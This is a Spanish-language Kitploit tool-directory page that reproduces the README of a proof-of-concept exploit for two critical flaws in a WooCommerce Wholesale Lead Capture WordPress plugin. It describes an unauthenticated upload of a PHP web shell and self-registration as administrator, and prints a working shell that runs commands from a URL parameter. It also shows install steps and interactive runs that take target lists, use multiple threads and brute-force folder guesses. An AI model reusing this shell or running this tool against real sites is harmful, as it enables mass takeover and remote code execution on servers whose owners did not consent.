Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-27542-CVE-2026-27540- — Privilegio no autenticado | Carga arbitraria de archivos no autenticada | Kitploit
Herramientas/GitHubGitHub/nxploited/cve-2026-27542-cve-2026-27540-
Escalada de PrivilegiosAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónRed Teaming
GitHubnxploited/cve-2026-27542-cve-2026-27540-

CVE-2026-27542-CVE-2026-27540-

Privilegio no autenticado | Carga arbitraria de archivos no autenticada

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Ver Repositorio
227hace 6 mesesAún no revisado

Typing SVG


🔴 Resumen de vulnerabilidades

CVE-2026-27542 — Escalada de privilegios no autenticada

CampoDetalles
ID de CVECVE-2026-27542
GravedadCRÍTICA — Puntuación CVSS v3.1: 9.8
VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Componente afectadoComplemento WooCommerce Wholesale Lead Capture (WWLC) para WordPress
Tipo de vulnerabilidadEscalada de privilegios no autenticada
Autenticación requeridaNinguna
CWECWE-269: Gestión inadecuada de privilegios

Descripción:
El complemento WooCommerce Wholesale Lead Capture para WordPress es vulnerable a la escalada de privilegios no autenticada en todas las versiones afectadas conocidas. La vulnerabilidad existe dentro del manejador de acción AJAX wwlc_create_user, que procesa solicitudes de registro de usuario sin sanear ni validar adecuadamente los campos de rol suministrados por el usuario. Un atacante remoto no autenticado puede crear una solicitud POST especialmente formada que inyecte campos de capacidad arbitrarios de WordPress — incluido wp_capabilities[administrator] — directamente en los metadatos del usuario en el momento de la creación de la cuenta. Esto permite al atacante auto-registrarse como administrador de WordPress sin ninguna autenticación previa ni interacción de un usuario legítimo, lo que resulta en el compromiso total de la instalación de WordPress afectada.


CVE-2026-27540 — Subida arbitraria de archivos no autenticada

CampoDetalles
ID de CVECVE-2026-27540
GravedadCRÍTICA — Puntuación CVSS v3.1: 9.8
VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Componente afectadoComplemento WooCommerce Wholesale Lead Capture (WWLC) para WordPress
Tipo de vulnerabilidadSubida arbitraria de archivos no autenticada (que conduce a la ejecución remota de código)
Autenticación requeridaNinguna
CWECWE-434: Carga sin restricciones de archivos con tipo peligroso

Descripción:
El complemento WooCommerce Wholesale Lead Capture para WordPress es vulnerable a la subida arbitraria de archivos no autenticada en todas las versiones afectadas conocidas. La vulnerabilidad reside en la acción AJAX wwlc_file_upload_handler, que está registrada sin ningún requisito de autenticación ni verificación de nonce. Al enviar una solicitud POST multipart manipulada a /wp-admin/admin-ajax.php, un atacante remoto no autenticado puede subir archivos de tipo arbitrario — incluidos shells web PHP — al directorio wp-content/uploads/ del servidor bajo un subdirectorio wwlc-temp-* generado dinámicamente. La explotación exitosa conduce a la ejecución remota de código (RCE) en el servidor web subyacente, que opera bajo la cuenta de usuario del proceso web.


🛠️ Descripción de la herramienta

Este es un script de explotación de Prueba de Concepto (PoC) para las dos vulnerabilidades críticas descritas anteriormente, dirigido a instalaciones de WordPress que ejecutan el complemento WooCommerce Wholesale Lead Capture. La herramienta admite dos modos de ataque independientes:

ModoTipo de ataqueObjetivo
Modo 1Subida arbitraria de archivos no autenticada + descubrimiento de carpetas por fuerza brutaSubir un shell web PHP y localizarlo mediante la adivinación de carpetas en múltiples capas
Modo 2Escalada de privilegios no autenticada mediante registroAuto-registrarse como administrador de WordPress y verificar el acceso de administrador

📋 Requisitos

Requisitos del sistema

  • Python 3.8 o superior
  • Acceso a Internet al/los objetivo(s)
  • Linux / Windows / macOS

Dependencias de Python

pip install requests urllib3 colorama

O instalar mediante el archivo de requisitos:

pip install -r requirements.txt

requirements.txt:

requests>=2.28.0
urllib3>=1.26.0
colorama>=0.4.6

🚀 Instalación

# Clonar el repositorio
git clone https://github.com/Nxploited/CVE-2026-27542-CVE-2026-27540.git
cd CVE-2026-27542-CVE-2026-27540

# Instalar dependencias
pip install -r requirements.txt

# Ejecutar la herramienta
python3 CVE-2026-27542_CVE-2026-27540.py

⚙️ Uso

Ejecución básica

python3 CVE-2026-27542_CVE-2026-27540.py

La herramienta presenta una interfaz de terminal interactiva. Se le solicitarán todos los parámetros necesarios.


🗂️ Formato de la lista de objetivos

Cree un archivo de texto plano (por ejemplo, list.txt) con una URL de destino por línea:

https://target1.com
https://target2.com
http://target3.com/wordpress

🔴 Modo 1 — Subida de archivos + fuerza bruta de carpetas

Select mode [1=Upload+Folder, 2=Registration+Admin]: 1
Targets list file (one URL per line) [list.txt]: list.txt
Threads (concurrent sites) [3]: 5
HTTP timeout (seconds) [10]: 10
Shell file path [shell.php]: shell.php
Shell signature (marker inside shell) [Nx_SHELL_SIGNATURE]: Nx_SHELL_SIGNATURE
Max pattern-based folder guesses per site [50000]: 50000
Max time-based folder guesses per site [50000]: 50000
Max random-hex folder guesses per site [100000]: 100000
Upload results file [scan_results/wwlc_uploads.txt]: scan_results/wwlc_uploads.txt
Found shells file [scan_results/wwlc_shells_found.txt]: scan_results/wwlc_shells_found.txt

Ejemplo de archivo shell (shell.php):

<?php
// Nx_SHELL_SIGNATURE
if(isset($_GET['cmd'])){ system($_GET['cmd']); }
?>

Nota: La carpeta wwlc-temp-* es generada dinámicamente por el complemento usando uniqid('wwlc-temp-') de PHP. La herramienta utiliza una estrategia de fuerza bruta de múltiples capas para descubrirla:

CapaEstrategiaDescripción
0Listado de directoriosIntenta listar el directorio de subidas si está abierto
1Basada en patronesAdivinaciones numéricas secuenciales y derivadas del tiempo
2Hex basado en tiempoSembrada por las marcas de tiempo de las solicitudes HTTP observadas
3Hex aleatorioAdivinación de cadenas hex aleatorias puras

🟠 Modo 2 — Registro + inyección de rol + verificación de administrador

Select mode [1=Upload+Folder, 2=Registration+Admin]: 2
Targets list file (one URL per line) [list.txt]: list.txt
Threads (concurrent sites) [3]: 5
HTTP timeout (seconds) [10]: 10
Base registration username (prefix) [Nx_admin]: Nx_admin
Base registration email [[email protected]]: [email protected]
Registration results file [scan_results/wwlc_register_results.txt]:
Admin hits file [scan_results/Admin_login.txt]:
Descargar herramienta